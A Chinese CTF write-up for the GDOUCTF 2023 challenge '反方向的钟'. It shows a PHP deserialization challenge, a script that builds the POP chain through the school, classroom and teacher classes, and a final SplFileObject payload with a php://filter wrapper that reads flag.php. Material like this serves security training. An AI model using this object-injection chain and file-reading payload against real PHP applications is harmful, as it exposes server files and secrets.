[GDOUCTF 2023]反方向的钟

  • 反序列&&原生类结合伪协议读取flag

code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

POP链:school__wakeup()->classroom::hahaha()->school::IPO()

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct(){
        $this->name = 'ing';
        $this->rank = 'department';
//        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct(){
        $this->name = 'one class';
        $this->leader = new teacher;
    }
//    public function hahaha(){
//        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
//            return False;
//        }
//        else{
//            return True;
//        }
//    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct(){
//        $this->department = $department;
//        $this->headmaster = $ceo;
        $this->department=new classroom;
        $this->headmaster = 'ong';
    }
//    public function IPO(){
//        if($this->headmaster == 'ong'){
//            echo "Pretty Good ! Ctfer!\n";
//            echo new $_POST['a']($_POST['b']);
//        }
//    }
//    public function __wakeup(){
//        if($this->department->hahaha()) {
//            $this->IPO();
//        }
//    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
$a=new school;
echo base64_encode(serialize($a));
?>
//最终利用原生类拼接成如下:
new SplFileObject(php://filter/read=convert.base64-encode/resource=flag.php)

总结:CTF常见原生类用法及例题